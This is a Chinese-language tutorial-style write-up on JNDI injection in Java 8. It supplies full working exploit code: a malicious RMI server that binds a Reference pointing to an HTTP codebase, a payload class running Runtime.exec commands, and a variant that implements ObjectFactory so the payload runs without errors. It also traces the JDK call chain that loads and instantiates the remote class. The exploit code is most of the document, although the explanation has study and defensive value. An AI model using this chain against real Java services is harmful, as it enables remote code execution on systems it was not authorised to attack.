Java命名和目录接口（JNDI）是一种Java API，类似于一个索引中心，它允许客户端通过name发现和查找数据和对象。这些对象可以存储在lDAP，DNS中，或者RMI
代码格式如下：
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup("rmi://127.0.0.1:1099/Exploit");JNDI注入
JNDI注入就是当jndiname变量可控时导致远程class文件被加载，导致远程代码执行
当前环境java8u121
Client.java程序(受害者)
package org.joychou.jndiInjection;
import javax.naming.InitialContext;
import javax.naming.Context;
public class Client {
public static void main(String[] args) throws Exception{
String uri = "rmi://127.0.0.1:1099/aa";
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}Server.java（服务器端）
package org.joychou.jndiInjection;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Server {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("ExecTest", "ExecTest", "http://127.0.0.1:8081/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/aa'");
registry.bind("aa", refObjWrapper);
}
}ExecTest.java(命令执行的类)
//package org.joychou.jndiInjection;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
public class ExecTest {
public ExecTest() throws IOException,InterruptedException{
String cmd="calc.exe";
final Process process = Runtime.getRuntime().exec(cmd);
printMessage(process.getInputStream());;
printMessage(process.getErrorStream());
int value=process.waitFor();
System.out.println(value);
}
private static void printMessage(final InputStream input) {
// TODO Auto-generated method stub
new Thread (new Runnable() {
@Override
public void run() {
// TODO Auto-generated method stub
Reader reader =new InputStreamReader(input);
BufferedReader bf = new BufferedReader(reader);
String line = null;
try {
while ((line=bf.readLine())!=null)
{
System.out.println(line);
}
}catch (IOException e){
e.printStackTrace();
}
}
}).start();
}
}编译ExecTest.java，并开启http服务，然后开启Server.java，然后运行Client.java
调用链分析
//InitialContext.java
public Object lookup(String name) throws NamingException {
return getURLOrDefaultInitCtx(name).lookup(name);
}
getURLOrDefaultInitCtx函数，这个类会根据输入的name寻找合适的URL context，根据我们输入的变量中会返回
rmiURLContext对象（继承自GenericURLContext类）
protected Context getURLOrDefaultInitCtx(String name)
throws NamingException {
if (NamingManager.hasInitialContextFactoryBuilder()) {
return getDefaultInitCtx();
}
String scheme = getURLScheme(name);
if (scheme != null) {
Context ctx = NamingManager.getURLContext(scheme, myProps);
if (ctx != null) {
return ctx;
}
}
return getDefaultInitCtx();
}在返回rmiURLContext对象之后会继而调用该对象的lookup方法，该方法对rmi地址进行解析
//GenericURLContext.java
public Object lookup(String var1) throws NamingException {
ResolveResult var2 = this.getRootURLContext(var1, this.myEnv);//对rmi地址进行解析
Context var3 = (Context)var2.getResolvedObj();// 返回注册上下文RegistryContext
Object var4;
try {
var4 = var3.lookup(var2.getRemainingName()); //调用注册上下文lookup函数查找aa对象
} finally {
var3.close();
}
return var4;
}RegistryContext.java中的lookup在注册器中函数寻找aa对象对应的引用
//RegistryContext.java
public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
return new RegistryContext(this);
} else {
Remote var2;
try {
var2 = this.registry.lookup(var1.get(0));//查找aa对应的远程引用ReferenceWrapper
} catch (NotBoundException var4) {
throw new NameNotFoundException(var1.get(0));
} catch (RemoteException var5) {
throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
}
return this.decodeObject(var2, var1.getPrefix(1)); //
}
}decodeObject方法找到我们要生成的远程对象
//RegistryContext.java
private Object decodeObject(Remote var1, Name var2) throws NamingException {//var1:ReferenceWrapper, var2: aa
try {
//这里会判断我们的var1是否是remoteReference，如果是的话会进入getReference(),与服务器进行一次连接
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
Reference var8 = null;
if (var3 instanceof Reference) {
var8 = (Reference)var3;
} else if (var3 instanceof Referenceable) {
var8 = ((Referenceable)((Referenceable)var3)).getReference();
}
//java更新的一项安全机制，需要将com.sun.jndi.rmi.object.trustURLCodebase设置为true
if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
} else {
return NamingManager.getObjectInstance(var3, var2, this, this.environment);//该函数根据输入的对象和环境信息生成指定的对象
}到此已经通过远程请求获取到了aa对应的ExecTest类，接下来是进行实例化
//NamingManager.java
public static Object getObjectInstance(...){//在对象工厂检索由引用标识的对象，使用引用的工厂类名和工厂代码库加载到工厂的类中。
...
if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively
factory = getObjectFactoryFromReference(ref, f);//命令执行点
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
getObjectFactoryFromReference函数通过引用将对象进行实例化
//NamingManager.java
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class clas = null;
// Try to use current class loader
try {
clas = helper.loadClass(factoryName);//在本地classpath中寻找class，代码会进入此分支
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.
// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {//加载远程codebase，就是我们定义的恶意RMI服务器
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}
//实例化恶意的class文件
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}小缺陷
这段payload虽然能正常运行，但在运行时会报错，我们来尝试修改代码修复其错误
Exception in thread "main" javax.naming.NamingException [Root exception is java.lang.ClassCastException: ExecTest cannot be cast to javax.naming.spi.ObjectFactory
这个报错的触发原因是我们实例化的ExecTest类无法被转换为ObjectFactory类
//NamingManager.java
//实例化恶意的class文件
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;//执行该语句时进行类型强制转换报错所以我们这里将我们的恶意类重写为继承自ObjectFactory的类即可，新版payload如下：
//package org.joychou.jndiInjection;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
public class ExecTest implements ObjectFactory {
public ExecTest() throws IOException,InterruptedException{
Runtime.getRuntime().exec("calc.exe");
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable environment) throws IOException{
Runtime.getRuntime().exec("notepad.exe");
return null;
}
}实际上我们只需要在上述的两个函数中任意一个写入命令即可，上文所写的两个命令都会被执行。为什么会执行两次呢？
第一次执行
//NamingManager.java
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;在调用newInstance方法实例化ExecTest类的时候会默认调用ExecTest类的无参构造方法，相当于new Exectest()，所以无参构造函数中的命令会被执行。
第二次执行
//NamingManager.java
public static Object getObjectInstance(...){//在对象工厂检索由引用标识的对象，使用引用的工厂类名和工厂代码库加载到工厂的类中。
...
if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);//第二次命令执行
}在第一次执行之后会返回ObjectFactory，这样就会调用factory类的getObjectInstance方法，从而进行了第二次命令执行
类加载顺序
当前的项目结构为：
事实上，这样结构下不需要编译ExecTest类，也不需要开启http服务只要开启Server.java，运行Client.java即可执行命令
也就是说，我们其实并没有访问我们的远程类就完成了攻击，作为对比测试，我们将Client.java和ExecTest.java分开运行，不过运行之后没有任何命令被执行。
我们在刚才的Server.java服务器端编译ExecTest.java文件，并开启http服务
D:\Workspace\java\JndiRmi\src\main\java>"c:\Program Files\Java\jdk1.8.0_112\bin\javac.exe" ExecTest.java
D:\Workspace\java\JndiRmi\src\main\java>python -m SimpleHTTPServer 8081
Serving HTTP on 0.0.0.0 port 8081 ...这样我们开启Server.java，然后开启另一个目录下的Client.java即可远程加载类
查看http服务端可以看到我们的远程类被远程加载了
D:\Workspace\java\JndiRmi\src\main\java>python -m SimpleHTTPServer 8081
Serving HTTP on 0.0.0.0 port 8081 ...
127.0.0.1 - - [19/Dec/2021 13:57:25] "GET /ExecTest.class HTTP/1.1" 200 -为什么Client位置的不同会导致类的加载位置不同呢？将Client.java单独和与ExecTest.java对比运行：
从调试可以看出，Client.java在实例化类的时候会先使用本地的类加载器进行加载，如果本地找不到的话才会找远程的代码库(codebase)进行加载，左侧在本地可以找到ExecTest类进行加载，而在右侧的本地找不到ExecTest类，会通过RMI远程加载，但是因为我们没开启http服务，所以找不到ExecTest类，导致实例化失败，无法命令执行。
所以，只要将ExecTest.java类与Client.java放在同一目录就不会进行远程加载。